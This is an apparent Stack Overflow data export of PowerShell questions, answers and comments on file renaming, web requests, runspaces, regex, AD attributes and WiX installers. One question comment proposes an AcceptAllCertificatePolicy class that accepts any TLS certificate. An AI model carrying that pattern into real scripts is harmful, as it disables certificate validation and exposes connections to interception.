has comment: http://stackoverflow.com/comment/139747105
downvote count: 0
tagged with: powershell
accepted answer: http://stackoverflow.com/a/79248602
score: 1
has body: I need to rename files within folders. The folders follow this naming sequence: vdl-1984-01, vdl-1984-02, vdl-1984-03, etc. I only have access to powershell at work and all the fields are tiffs so I have been using $i=1 Get-ChildItem *.tiff | %{Rename-Item $_ -NewName ('vdl-1984-01-{0:D3}.tiff' -f $i++)} on each folder. However, I would like a script that runs this function for every folder. Is this possible? In this example, the two digit number is the folder number and the three digit generated number is the file number. I have been trying to set of up a Do Loop that includes an increasing interval in the CD function and the -NewName function but I cannot seem to get something that works.
favorite count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/139744739
has comment: http://stackoverflow.com/comment/139744789
type: Question
has comment: http://stackoverflow.com/comment/139744663
has title: Renaming files within multiple directories

group
tag name: group
tags question: http://stackoverflow.com/q/79317582
type: Tag

http://stackoverflow.com/comment/140045133
score: 0
has text: this seems to work for just running one command, but then the error is back. Is there a way to make it work without having to keep running this?
type: AnswerComment
comment on: http://stackoverflow.com/a/79391497
type: Comment

http://stackoverflow.com/comment/139997821
score: 2
type: Comment
has text: Even though this is likely to be deleted. THANKS!
comment on: http://stackoverflow.com/a/79385714
type: AnswerComment

http://stackoverflow.com/q/79285982
tagged with: powershell
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/31567281
has title: Invoke-WebRequest returns empty object
score: 0
has comment: http://stackoverflow.com/comment/139813081
type: Question
duplicate of: http://stackoverflow.com/q/31567281
answer count: 0
has body: I am writing a script using Visual Studio Code that will download an EXE and then install it. I have been working on this for a few hours each day for a couple of days building out the code to do what I require, testing in Code as I go along. The Invoke-WebRequest line downloads the file everytime (it goes to a temp folder which is deleted at the end of the script run). Just after the Invoke-WebRequest line I tested for the Status Code of $result and would only proceed if it was 200. All of a sudden, $result has started being null. So I test for the Status Code but it skips the if block because there is no Status Code in $result. I started testing in new PowerShell terminals and I get the same. PowerShell 5 or 7, it makes no difference. The code I am now testing with is this: $result = Invoke-WebRequest -Uri https://github.com/jgraph/drawio-desktop/releases/download/v25.0.2/draw.io-25.0.2-windows-installer.exe -OutFile 'D:\test.exe' Write-Host $result.StatusCode What am I not seeing that is causing this to behave in this way? I tried disabling any caching by adding -Headers @{"Cache-Control"="no-cache"} to the command, same result. I tried on another machine, same. I tried putting a try .. catch block around the code to see I was missing an error, but nothing.

xaml
tags question: http://stackoverflow.com/q/79347016
type: Tag
tag name: xaml
tags question: http://stackoverflow.com/q/79543263

http://stackoverflow.com/comment/140283634
type: Comment
comment on: http://stackoverflow.com/a/79546543
score: 0
type: AnswerComment
has text: While that is good to know, this setting makes the tab title _static_, which is _not_ what the OP is after ("I am aware that Windows Terminal has a setting to block title changes entirely, but I don't want to disable title changes globally [...]")

http://stackoverflow.com/comment/139873268
comment on: http://stackoverflow.com/q/79319936
type: Comment
score: 1
has text: https://stackoverflow.com/a/22317479/7976758 , https://stackoverflow.com/a/61891229/7976758 . Found in https://stackoverflow.com/search?q=%5Bgit%5D+clone+big+repository
type: QuestionComment

http://stackoverflow.com/comment/139875288
score: 1
has text: Unfortunately, PowerShell (as of v7.5) does _not_ have support for parameters whose argument is _optional_. A - suboptimal - workaround is available for a _single_ parameter of this type. See the linked duplicate.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79320898

http://stackoverflow.com/a/79252892
score: 1
accepted answer of: http://stackoverflow.com/q/79252830
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: The .Create(Runspace) overload was added in PowerShell 7 as you have already noticed but that isn't a problem for Windows PowerShell 5.1, there you just assign the created runspace to the .Runspace property: # try from PowerShell 5.1 $proc = Start-Process pwsh -PassThru $pipe = [System.Management.Automation.Runspaces.NamedPipeConnectionInfo]::new($proc.Id) $rs = [runspacefactory]::CreateRunspace($pipe) $rs.Open() $ps = [powershell]::Create().AddScript('$PSVersionTable.PSVersion.ToString()') $ps.Runspace = $rs $ps.Invoke() # Should output the pwsh 7 version you have installed $proc.Kill()
upvote count: 1
answers question: http://stackoverflow.com/q/79252830

http://stackoverflow.com/comment/139800563
comment on: http://stackoverflow.com/q/79278916
type: QuestionComment
has text: There's an odd workaround for invoke-command and array arguments `(,$apppools)` see https://stackoverflow.com/questions/7152740/how-do-i-pass-an-array-as-a-parameter-to-another-script-start-job
type: Comment
score: 1

http://stackoverflow.com/comment/140003303
score: 0
has text: One last question. Currently, from powershell, I say `start cmd` and then from within this cmd I say `bfile.bat`. Can these two steps be combined into one? From powershell, can I `start cmd (bfile.bat)` or something like that to automatically have cmd start running bfile.bat instead of needing my manual intervention?
comment on: http://stackoverflow.com/a/79388711
type: AnswerComment
type: Comment

http://stackoverflow.com/q/79322067
upvote count: 2
tagged with: powershell
answer count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139877409
tagged with: powershell-gallery
accepted answer: http://stackoverflow.com/a/79322166
has body: How to get a list of PowerShell functions in a newly installed PowerShell package from the PowerShell Gallery? I just installed a package via Install-Module -Name ModuleName. I would like to be able to explore all the functionality from this package. Such as all functions I could call in that package from my scripts.
has answer: http://stackoverflow.com/a/79322166
downvote count: 5
tagged with: windows
has title: How to get a list of functions in a PowerShell Gallery package after installation?
favorite count: 0
tagged with: powershell-module
has comment: http://stackoverflow.com/comment/139877424
type: Question
score: -3

http://stackoverflow.com/comment/139795140
comment on: http://stackoverflow.com/q/79275748
type: Comment
has text: If you look at the source code you will see that a steppable pipeline is converted into a compiled scriptblock, highly doubt you will ever get to the value of `__a` by the variable name.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/140014035
comment on: http://stackoverflow.com/a/79394307
type: Comment
score: 0
type: AnswerComment
has text: Well, `$myInvocation.MyCommand.Definition` doesn't produce anything while running a script in the script editor, in ISE for me, so might as well use $PSCommandPath in the script, and just not code anything that makes decisions on the script name.

http://stackoverflow.com/comment/139886245
type: Comment
has text: And I suggest you to use MgGraph as client might cause issue as mentioned in the answer
score: 0
comment on: http://stackoverflow.com/a/79326188
type: AnswerComment

win32com
type: Tag
tag name: win32com
tags question: http://stackoverflow.com/q/79310971

http://stackoverflow.com/a/79435059
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/79416406
upvote count: 1
score: 1
has body: I like the idea of using Regex to solve this problem. Here is what it would look like using Python, and Python's re module: The solution is pretty straight forward, using a cool and simple regex pattern (?:(?!"id").)*? (explained more below). That pattern make sure that there is no literal "id" string (with another id value) between the id value that we are capturing and the literal "RatedOI", which means we will capture the last "id" value before the "RatedOI, which is what we want. See Test String included at the end. I captured the id value using Python. Please find below the links for the .NET 7.0 and PRCE2 regex flavors that may be used with Powershell. PATTERN LOGIC: '"id":' {capture the 36 digit id } { Make sure NO other '"id"' } '"RatedOI"' PYTHON & re module CODE: import re pattern = r'"id":\s?"([^-\s]{8}-[^-\s]{4}-[^-\s]{4}-[^-\s]{4}-[^-\s]{12})(?:(?!"id").)*?"RatedOI"' pattern_re = re.compile(pattern, flags=re.S) # re.S (dot matches all) id = pattern_re.findall(text)[0] print(id) REGEX PATTERN DEMO: https://regex101.com/r/oe81dA/5 RESULT: 7af50dbb-7ea3-4458-adfe-a82198a8d96c NOTES: r'"id":\s?"([^-\s]{8}-[^-\s]{4}-[^-\s]{4}-[^-\s]{4}-[^-\s]{12})(?:(?!"id").)*?"RatedOI"' "id": Literal '"id":' \s? Optional white space character (including newline) (...) Capture Group: The parenthesis enclose the character pattern to be captured. [...] Character Class: Match any character listed here. [^...] Negated Character Class: Match any character that is not listed here. [...]{x} Quantifier {x}: x is an integer representing how may instances of the previous are matched. [^-\s] Matches any character that is not a dash,-, or \s, a whitespace character (including \n). (Note: better practice would be to have the dash - at the end of the character class after \s, however, it works here.) [^-\s]{8}-[^-\s]{4}-[^-\s]{4}-[^-\s]{4}-[^-\s]{12} The pattern for 36 characters separated including four dashes -. [^-\s]{8}- : Match any eight(8) characters in a row that are not - or a wh…

http://stackoverflow.com/a/79379068
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79378997
type: Answer
has comment: http://stackoverflow.com/comment/139985125
accepted answer of: http://stackoverflow.com/q/79378997
has body: To add / replace / remove custom attributes or those attributes that do not exist as a Parameter for that cmdlet you have to use -Add / -Replace / -Remove. So assuming you want to change the attribute value, and that attribute name is Cost-Center then you can use -Replace: $Attribcsv = Import-Csv 'C:\Temp\ADUsers_BulkEdit.csv' foreach ($User in $Attribcsv) { Get-ADUser -Identity $User.samAccountName | Set-ADUser -Replace @{ 'Cost-Center' = $User.costCenter } }
upvote count: 1
score: 1

http://stackoverflow.com/comment/139921519
type: QuestionComment
has text: Yes I see what u mean, this would involve creating another activityTrigger and call that from within the orchestrationTrigger and pass the consolidated data. Ok keeping it small, let's create another function :)
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79345015

http://stackoverflow.com/comment/139950707
score: 0
type: QuestionComment
has text: I quess you want to do this: `... ).foreach{ $_.Replace("#EXT#@company.com", "") }`
type: Comment
comment on: http://stackoverflow.com/q/79359686

http://stackoverflow.com/a/79297988
upvote count: 1
has body: You should be able to do new MimeMessage (headers) and it will use the MimeMessage.ctor (params object[] args) constructor.
score: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79297680
has comment: http://stackoverflow.com/comment/139904343
accepted answer of: http://stackoverflow.com/q/79297680
downvote count: 0
type: Answer

http://stackoverflow.com/a/79324586
upvote count: 3
has comment: http://stackoverflow.com/comment/139882766
answers question: http://stackoverflow.com/q/79324508
score: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/139887336
has comment: http://stackoverflow.com/comment/139887354
type: Answer
has body: Because you're using a foreach loop in your function, the current argument can be represented as $MyArgument, however the item you're switching on is always represented as $_ or $PSItem in the action script block, so in this case both options are valid: Write-Host "$MyArgument used" # or Write-Host "$_ used" Something worth noting about switch in PowerShell is that it can also enumerate collections, so you can also get rid of your loop and this becomes valid code too: function test { [CmdletBinding()] param( [Parameter( Mandatory = $true, ParameterSetName = 'MyArgument' )] [ValidateSet('Value1', 'Value2')] [string[]] $MyArguments ) switch ($MyArguments) { Value1 { Write-Host "$_ used" } Value2 { Write-Host "$_ used" } } } test -MyArguments Value1, Value2 Relevant docs: about_Switch about_PSItem
has comment: http://stackoverflow.com/comment/139882842

http://stackoverflow.com/comment/139976014
has text: Please, [DO NOT post images of code, data, error messages, etc.](https://meta.stackoverflow.com/a/285557), see [How do I ask a good question?](https://stackoverflow.com/help/how-to-ask)
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/79374134

http://stackoverflow.com/a/79415054
answers question: http://stackoverflow.com/q/79414856
downvote count: 0
has comment: http://stackoverflow.com/comment/140059720
type: Answer
has body: Winget list returns a string array with progress-display lines before the (fixed-width) table with the info you want. Credit where credit is due, I found an excellent answer by mklement0 from which I have taken the regex to remove (most of) these progress lines. In your case, you can get the version from the output like below: $appName = '7-zip' $appVersion = switch -Regex ((winget list --name $appName) -match '^\p{L}|-') { '^Name\s+' { # from the header get the starting position of 'Version' $startIndex = $_.IndexOf('Version') } "^$appName" { if ( $_.Substring($startIndex) -match '^([0-9.]+).*$') { $matches[1] break } } } Write-Host "The current installed version of $appName is $appVersion"
upvote count: 3
has comment: http://stackoverflow.com/comment/140058582
score: 3
has comment: http://stackoverflow.com/comment/140056808

http://stackoverflow.com/comment/139746777
score: 0
comment on: http://stackoverflow.com/q/79249450
type: QuestionComment
type: Comment
has text: Could you clarify what sort of metadata you're trying to modify, and what types of files? Do either of these help? https://stackoverflow.com/questions/42536464/editing-metadata-against-video-files https://stackoverflow.com/questions/9091/accessing-audio-video-metadata-with-net

http://stackoverflow.com/q/79275748
downvote count: 0
has comment: http://stackoverflow.com/comment/139795182
answer count: 1
tagged with: powershell
has comment: http://stackoverflow.com/comment/139795140
tagged with: pipeline
has title: To what session state does the script block in [scriptblock]::Create().GetSteppablePipeline() get bound?
upvote count: 1
has body: Jason Shirk wrote A script block is bound to a SessionState immediately if you use the { ... } syntax, or upon the first invocation if the script block was created some other way, e.g. [ScriptBlock]::Create(). The binding is to the active SessionState. Indeed that seems to be correct. This thread contemplates that behavior extensively. For reference, here is an annotated example exercising the interactions between PowerShell scopes, . and &amp;, modules, and SessionStates. Consider the following code in which two instances of identical scriptblocks produced by [scriptblock]::Create() are invoked using the call operator &amp; and SteppablePipeline, respectively: function Invoke-Call { [CmdletBinding()] param( [scriptblock] $ScriptBlock, $a ) &amp; ([scriptblock]::Create({ param ($sb,$__a) . $sb $__a })) &lt;# This scriptblock gets bound to the SessionState that is active when the call operator is invoked. #&gt; ` $ScriptBlock $a } function Invoke-Steppable { [CmdletBinding()] param( [scriptblock] $ScriptBlock, $a ) $pipe = [scriptblock]::Create({ param ($sb,$__a) . $sb $__a }). # To what SessionState does this scriptblock get bound? GetSteppablePipeline( $MyInvocation.CommandOrigin, @($ScriptBlock,$a)) $pipe.Begin($PSCmdlet) $pipe.End() } Invoke-Call -a 'c' -ScriptBlock { param($x) [pscustomobject]@{function = 'Invoke-Call'; x=$x; a=$a; __a=$__a }} Invoke-Steppable -a 's' -ScriptBlock { param($x) [pscustomobject]@{function = 'Invoke-Steppable'; x=$x; a=$a; __a=$__a }} That code outputs function x a __a -------- - - --- Invoke-Call c c c Invoke-Steppable s s The following, I think, is noteworthy about that output: $a is accessible both ways -ScriptBlock is invoked. That is because both the functions and -ScriptBlock are bound to the same SessionState. Both functions have parameter $a in the function's scope. That scope becomes an ancestor scope to -ScriptBlock when it is invoked so $a is visible from -ScriptBlock. $__a is accessible when -ScriptBlock is invoked by Inv…
has answer: http://stackoverflow.com/a/79279177
type: UnansweredQuestion
score: 1
favorite count: 0
tagged with: scriptblock
type: Question

http://stackoverflow.com/comment/139888629
type: Comment
comment on: http://stackoverflow.com/q/79327313
score: 0
has text: I am runnig this on Windows Powershell and I have set it's font to nerd font. Some of the icons are not rendering. But if I use Visual Studio Code's terminal then there is no issue at all. I mean by Powershell SS is PowerShell Screenshot
type: QuestionComment

http://stackoverflow.com/comment/140058000
score: 1
type: AnswerComment
has text: Worth to note that casting to `[PSCustomObject]` *does* change the type of the object instead of just adding an invisible wrapper.
type: Comment
comment on: http://stackoverflow.com/a/79416284

dtexec
tags question: http://stackoverflow.com/q/79292138
type: Tag
tag name: dtexec

psobject
type: Tag
tag name: psobject
tags question: http://stackoverflow.com/q/79359686

http://stackoverflow.com/q/79376139
accepted answer: http://stackoverflow.com/a/79376203
favorite count: 0
has answer: http://stackoverflow.com/a/79376203
type: Question
has title: Why does Move-Item into a new directory implode the first directory?
has body: When you call Move-Item with a wildcard into a directory that doesn't exist yet, it seems like the first move of a directory acts as a directory creation, which ends up moving the files into the new directory, instead of creating a new sub-directory, and I don't understand why / find this a rather odd behavior. Can someone explain to me why the following issue occurs? Using PowerShell 7.4.6.500 # Setup for repro New-Item -ItemType "Directory" -Path "install\bin" New-Item -ItemType "File" -Path "install\bin\test.dll" New-Item -ItemType "Directory" -Path "install\lib" New-Item -ItemType "File" -Path "install\ReadMe.md" New-Item -ItemType "Directory" -Path "copy" # The repro Move-Item -Path "install\*" -Destination "copy\app" Expected File Structure copy\app\bin\test.dll copy\app\lib\ copy\app\ReadMe.md Actual Behavior copy\app\test.dll copy\app\lib\ copy\app\ReadMe.md
tagged with: powershell
answer count: 1
type: AnsweredQuestion
downvote count: 0
score: 3
upvote count: 3

http://stackoverflow.com/a/79403738
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79388784
downvote count: 0
has comment: http://stackoverflow.com/comment/140045143
has body: Here is the fix. Edit this file path: $HOME\Documents\PowerShell\Microsoft.PowerShell_profile.ps1 Add below line in it. $Env:_CE_M = $Env:_CE_CONDA = $null Save the file. Now all conda commmands work.
type: Answer

http://stackoverflow.com/a/79381292
type: AcceptedAnswer
has body: This error happens because you're putting all your code in a expandable string ("...") and because of this, all variables are being interpolated by their values and since those aren't defined they're being interpolated with null values. So you end up with an empty pipeline and thus the error when the code is evaluated. "$files | ForEach-Object { }" # Outputs: # # | ForEach-Object { } Another issue is the use of a param block in that same ForEach-Object. The cmdlet uses $_ instead of a param block, it should be removed. $Files | ForEach-Object { param ($file) # <= Remove, use `$_` instead There are other issues like the use of a variable not defined, i.e. $selectedUsername doesn't exist in the context of your invoke command. You will need to pass it in via $using:selectedUsername or -ArgumentList. In summary, use a scriptblock to put your code and don't use Invoke-Expression. $backupCommand = { # Backup Outlook files # NOTE: `selectedUsername` doesnt exist here, use # `$using:selectedUsername` if the variable is defined locally $outlookFolder = "C:\Users\$selectedUsername\AppData\Local\Microsoft\Outlook" Write-Output "Outlook folder path: $outlookFolder" # Verify the path exists if (Test-Path -Path $outlookFolder) { Write-Output 'Outlook folder exists.' } else { Write-Output 'Outlook folder does not exist.' return } $backupFolder = "$outlookFolder\Backup" # Create the backup folder if it doesn't exist if (!(Test-Path -Path $backupFolder)) { New-Item -Path $backupFolder -ItemType Directory } # Get the list of .nst and .ost files in the Outlook folder $files = Get-ChildItem -Path $outlookFolder -File | Where-Object { $_.Extension -eq '.nst' -or $_.Extension -eq '.ost' } # Debugging output to verify $files Write-Output 'Files to be backed up:' $files | ForEach-Object { Write-Output $_.Name } # Check if $files is empty if ($files.Count -eq 0) { Write-Output 'No files found to back up.' return } # Process each file $files | ForEach-Object { Write-Output "Processing file: …
answers question: http://stackoverflow.com/q/79381065
upvote count: 2
downvote count: 0
type: Answer
score: 2
accepted answer of: http://stackoverflow.com/q/79381065

http://stackoverflow.com/a/79263438
has body: Doing it with some array indexing: $string = 'pcst400801' -join ($string[-($string.length)..-5] + '-' + $string[-4..-1]) pcst40-0801
upvote count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/139777507
type: Answer
answers question: http://stackoverflow.com/q/79259964
score: 1

http://stackoverflow.com/comment/139767063
type: AnswerComment
has text: Re event queuing: here's a clue (for a definitive answer, more research is needed): There is an [`__EventQueueOverflowEvent`](https://learn.microsoft.com/en-us/windows/win32/wmisdk/--eventqueueoverflowevent) WMI class that "reports when an event is dropped as a result of delivery queue overflow" and "queue size [...] defaults to 10 MB for all queues combined." Even though there's no _subscriber_ (consumer) in your query, per your feedback it sounds like the events are queued nonetheless.
comment on: http://stackoverflow.com/a/79258729
type: Comment
score: 1

http://stackoverflow.com/comment/140093580
has text: @mklement0 Thank you. I am about to open a new question and tag you. The coffee will come your way soon, please be patient with me
score: 1
comment on: http://stackoverflow.com/q/79416406
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79349129
score: 3
accepted answer of: http://stackoverflow.com/q/79349089
has body: When using the -File parameter of powershell.exe, the Windows PowerShell CLI, array argument values are not supported.[1] Also note that '...' quoting is not recognized as such in this case; you must use "..." quoting. Use the -Command parameter instead, which interprets the argument(s) that follow(s) it as PowerShell code, in the context of which array arguments are supported, as they are in-session: C:\fullPathToPowershell.exe -Command "C:\fullPathToSnoozeGuard.ps1 -requiresSystem 'arg1', 'arg2', 'arg3'" Additional information: With respect to passing array arguments, specifically, this answer provides background information. For general, comprehensive guidance on when to use -File vs. -Command, see this answer. [1] The same applies to pwsh, the PowerShell (Core) 7 CLI. However, note that these two CLIs differ with respect to whether -File or -Command is the default parameter in the absence of either: powershell.exe defaults to -Command, whereas pwsh \ pwsh.exe defaults to -File.
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 3
answers question: http://stackoverflow.com/q/79349089

http://stackoverflow.com/a/79364254
has body: Not directly related, but I feel your function is confusing and perhaps inefficient. I tried to improve it. I think it's a bit easier to read. function Get-GroupConnection { [CmdletBinding()] param ( [parameter(Mandatory)] [array]$ConnectionArray ) # If you need to modify the number of items in a collection, Lists are the way to go. # This is a List of List&lt;String&gt; specifically. $GroupCollection = [System.Collections.Generic.List[System.Collections.Generic.List[string]]]::New() $GroupIndex = 0 foreach ($ConnectionList in $ConnectionArray) { # If the GroupCollection is empty, just add the current element to it. # The go to the next loop. if (-not $GroupCollection) { $GroupCollection.Add($ConnectionList) Continue } # If the first element is not a String, self-call the function on it. # This requires the inpur being only Collections of String and Collection of Collections of Strings. # The go to the next loop. if ($ConnectionList.Item(0) -isnot [string]) { $GroupCollection.Add((Get-GroupConnection -ConnectionArray $ConnectionList)) Continue } # If the Last Item of the Current Index of the GroupCollection is the # same as the First Item of the current ConnectionList, add the whole # ConnectionList except the first item. if ($GroupCollection.Item($GroupIndex)[-1] -eq $ConnectionList[0]) { $GroupCollection.Item($GroupIndex).Add($ConnectionList[1..($ConnectionList.Count - 1 )]) } # If not: it means it's not consecutive. # Add the entire ConnectionList and increment the Index of the GroupCollection. else { $GroupCollection.Add($ConnectionList) $GroupIndex++ } } # Reguardless, the returned type will be a Object Array. $GroupCollection } $ConnectionArray = @('A', 'B'), @('B', 'C'), @('C', 'D'), @('1', '2'), # Because this is a Nestd Array, it's considered its own item and not chained. @(@('2', '3'), @('3', '4')), @('4','5'), @('E', 'F') Get-GroupConnection -ConnectionArray $ConnectionArray | ForEach-Object { Write-Host -f green $_; Write-Host -f green '---' } results: A…
answers question: http://stackoverflow.com/q/79363011
type: Answer
score: 0

http://stackoverflow.com/comment/139980281
has text: Use `Connect-PnPOnline -Url $SiteURL -UseWebLogin` to connect with user login
comment on: http://stackoverflow.com/q/79375029
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139770231
type: AnswerComment
has text: Thank you Santiago. I was wondering if steppable pipeline could be made to work this way.
type: Comment
comment on: http://stackoverflow.com/a/79262856
score: 1

http://stackoverflow.com/comment/139954458
comment on: http://stackoverflow.com/q/79362806
type: QuestionComment
has text: The problem is in the script test.ps1 (not psm file). Check test.ps1 to see if it checks for the version of powershell.
type: Comment
score: 0

http://stackoverflow.com/comment/139772735
type: QuestionComment
type: Comment
score: 0
has text: @MathiasR.Jessen why not wrap them in the first place? performance consideration?
comment on: http://stackoverflow.com/q/79262609

http://stackoverflow.com/comment/139905441
type: Comment
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79330628
has text: @johncwelch, this answers strikes me as an honest effort to provide a helpful solution (which is why I up-voted it), and to the extent that I understand your question, it seems on-topic. Frankly, given your comment to me on the question and your comments here, the only perceptible source of toxicity is you.

http://stackoverflow.com/a/79397370
has body: Use param([string]$folder, [string[]]$exceptions) Get-ChildItem -File -Path $folder | Where-Object -Property Extension -NotIn $exceptions | # remove the -WhatIf parameter once you are sure # that everything is working as expected. Remove-Item -WhatIf and call it as powershell -ExecutionPolicy Unrestricted -File 'C:\scripts\deletefiles_custom.ps1' 'C:\Test\' -exceptions '.zip', '.log' Note how the single elements of the exception list are quoted, not the whole list. Quoting the whole list would pass it as a "single string".
has comment: http://stackoverflow.com/comment/140023512
type: Answer
answers question: http://stackoverflow.com/q/79397285
score: 0

http://stackoverflow.com/q/79293460
score: 2
answer count: 0
downvote count: 0
has comment: http://stackoverflow.com/comment/139826530
upvote count: 2
tagged with: powershell
has title: Why does the `Invoke-Expression` not support redirecting the error stream directly?
type: UnansweredQuestion
has body: I'm a novice in PowerShell. Recently, I encountered a problem about dealing with output streams. I've found that the Invoke-Expression cmdlet does not support redirecting the error stream directly. Here are my tests: First, the direct redirection of Invoke-Expression misses the Error stream: # pwsh function Test-Log { Write-Debug "This is a Debug message" -Debug Write-Verbose "This is a Verbose message" -Verbose Write-Host "This is a Host message" Write-Output "This is an Output message" Write-Error "This is an Error message" Write-Warning "This is a Warning message" Write-Information "This is an Info message" } Invoke-Expression "Test-Log" *>&1 | Tee-Object -Variable output | Out-Null Write-Host "===Begin of output===" $output Write-Host "===End of output===" The output is: ===Begin of output=== DEBUG: This is a Debug message VERBOSE: This is a Verbose message This is a Host message This is an Output message WARNING: This is a Warning message This is an Info message ===End of output=== Second, the redirection of a block that contains Invoke-Expression does not miss the Error stream: # pwsh function Test-Log { Write-Debug "This is a Debug message" -Debug Write-Verbose "This is a Verbose message" -Verbose Write-Host "This is a Host message" Write-Output "This is an Output message" Write-Error "This is an Error message" Write-Warning "This is a Warning message" Write-Information "This is an Info message" } &{Invoke-Expression "Test-Log"} *>&1 | Tee-Object -Variable output | Out-Null Write-Host "===Begin of output===" $output Write-Host "===End of output===" The output is: ===Begin of output=== DEBUG: This is a Debug message VERBOSE: This is a Verbose message This is a Host message This is an Output message Test-Log: This is an Error message WARNING: This is a Warning message This is an Info message ===End of output=== I can understand the second scenario, as the Error stream will not disappear for no reason. But I don't understand the first one. It seems like the *>&1…
tagged with: io-redirection
favorite count: 0
type: Question

http://stackoverflow.com/comment/139989417
type: AnswerComment
score: 1
has text: Thanks for updating.
type: Comment
comment on: http://stackoverflow.com/a/79370869

http://stackoverflow.com/q/79396011
score: 2
upvote count: 2
downvote count: 0
tagged with: .net
has body: In what way are PowerShell and .NET related? Is the .NET SDK included in PowerShell? Or is the .NET runtime? In the release notes of PowerShell 7.5, I read: Update .NET SDK to 9.0.102 Older releases have similar notes. Why is this note important to know? Older releases had a relationship with .NET 8, is PowerShell compiled with a specific .NET version? Is a specific .NET CLR included in PowerShell?
tagged with: powershell
type: UnansweredQuestion
favorite count: 0
has title: PowerShell and .NET relationship
type: Question
answer count: 0

http://stackoverflow.com/q/79245155
has body: Is there a better way in Powershell to handle multiple levels of returned values than nested foreach loops? I need to get a list of each of our Azure Virtual Desktop session hosts for further processing. This requires me to iterate over a list of resource groups to get the host pool(s) in each of them; iterate over those to get the session hosts within each; and finally iterate over the session hosts: foreach ($resourceGroup in $resourceGroups) { $hostPoolObjects = Get-AzWvdHostPool -ResourceGroupName $resourceGroup.ResourceGroupName foreach ($hostPool in $hostPoolObjects) { $sessionHosts = Get-AzWvdSessionHost -ResourceGroupName $resourceGroup.ResourceGroupName -HostPoolName $hostPool.Name foreach ($sessionHost in $sessionHosts) { # Further processing } } } That seems inefficient. and, knowing how many session hosts I'm dealing with, memory intensive. Is there another method I could be using? I'm looking into whether multithreading would help in any way; maybe for the foreach ($hostPool in $hostPoolObjects) block.
tagged with: powershell
has answer: http://stackoverflow.com/a/79245251
tagged with: azure
has title: Better way to deal with multiple foreach loops in Powershell?
linked to: http://stackoverflow.com/q/77683718
has comment: http://stackoverflow.com/comment/139739052
score: 0
has answer: http://stackoverflow.com/a/79261566
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139739089
tagged with: azure-powershell
tagged with: performance
answer count: 2
tagged with: azure-resource-manager
linked to: http://stackoverflow.com/q/74257556
type: Question

http://stackoverflow.com/comment/139759136
has text: failcount is not text in terms of xml, it's an attribute value. Search `xml with namespace find attribute`
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79256529
score: 0

http://stackoverflow.com/comment/139891712
type: AnswerComment
comment on: http://stackoverflow.com/a/79330051
type: Comment
score: 0
has text: Glad to hear it, @PaulWilliams. Yes, knowing when automatic enumeration does and doesn't happen in PowerShell can be a challenge.

http://stackoverflow.com/q/79375630
score: 0
has title: How can I execute Powershell scripts after the installation in WiX v.5 with custom action?
type: UnansweredQuestion
upvote count: 1
favorite count: 0
has body: I'm currently trying to implement a custom action that executes a PowerShell script after the installation. My thought about what exactly the MSI file should do is: Install/copy the Powershell script into a directory Execute this script after the installation of all files is completed This is my current code snippet (which is not working): <File Id="installationscripts" Name="unzipActiveDirectory.ps1" Source="unzipActiveDirectory.ps1"/> <CustomAction Id="RunPowerShellScript" ExeCommand="powershell.exe -ExecutionPolicy Bypass -File "[InstallationScriptsFolder]unzipActiveDirectory.ps1"" Return="check" Execute="deferred" Impersonate="no" FileRef="installationscript" /> <InstallExecuteSequence> </InstallExecuteSequence> I also tried another attempt from another Post that referred to a blog post. But this post was written in 2011 and is not compatible with WiX v5 anymore. The other post is also very old, so I would like to re-ask this question. This is the code I wrote with the help of the blog post: <File Id="unzipActiveDirectoryFile" Name="unzipActiveDirectory.ps1" Source="unzipActiveDirectory.ps1"/> <RegistrySearch Id="POWERSHELLEXE" Type="raw" Root="HKLM" Key="SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" Name="Path" /> Installed OR POWERSHELLEXE <SetProperty Id="unzipActiveDirectoryFile" Before="unzipActiveDirectoryFile" Sequence="execute" Value =""[POWERSHELLEXE]" -Version 2.0 -NoProfile -NonInteractive -InputFormat None -ExecutionPolicy Bypass -Command "& '[#unzipActiveDirectoryFile]' ; exit $$($Error.Count)"" /> <CustomAction Id="unzipActiveDirectoryFile" BinaryKey="WixCA" DllEntry="WixQuietExec" Execute="deferred" Return="check" Impersonate="yes" /> <InstallExecuteSequence> NOT Installed </InstallExecuteSequence> My knowledge about custom actions is very limited, so I'm really looking forward to someone who can help me. Thank you!
tagged with: custom-action
type: Question
answer count: 0
tagged with: windows-installer
tagged with: wix
tagged with: powershell
has comment: http://stackoverflow.com/comment/139994760
downvote count: 1

http://stackoverflow.com/comment/139873330
score: 0
comment on: http://stackoverflow.com/q/79319936
has text: Yeah, for forking its a translation problem, I didn't meant it like that. Also, thanks a lot! It finally worked for me. The only comment I forgot to test was the right one lol. I'm not sure how can I mark your answer as good
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139915326
has text: I've chosen the first one for not being dependent on .net.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79341652
type: Comment

http://stackoverflow.com/comment/139797843
score: 0
has text: Hi @KeithLangmead I tried that, but that doesn't seem to work since the web is already registered as https, what I found I could maybe try setting policy restrictions like this add-type @" public class AcceptAllCertificatePolicy : System.Net.ICertificatePolicy { public bool CheckValidationResult(System.Net.ServicePoint srvPoint, System.Security.Cryptography.X509Certificates.X509Certificate certificate, System.Net.WebRequest request, int certificateProblem) { return true; } } "@ so that it accepts invalid certificates as well and is able to connect, but not sure if thats valid.
comment on: http://stackoverflow.com/q/79277716
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139908434
type: QuestionComment
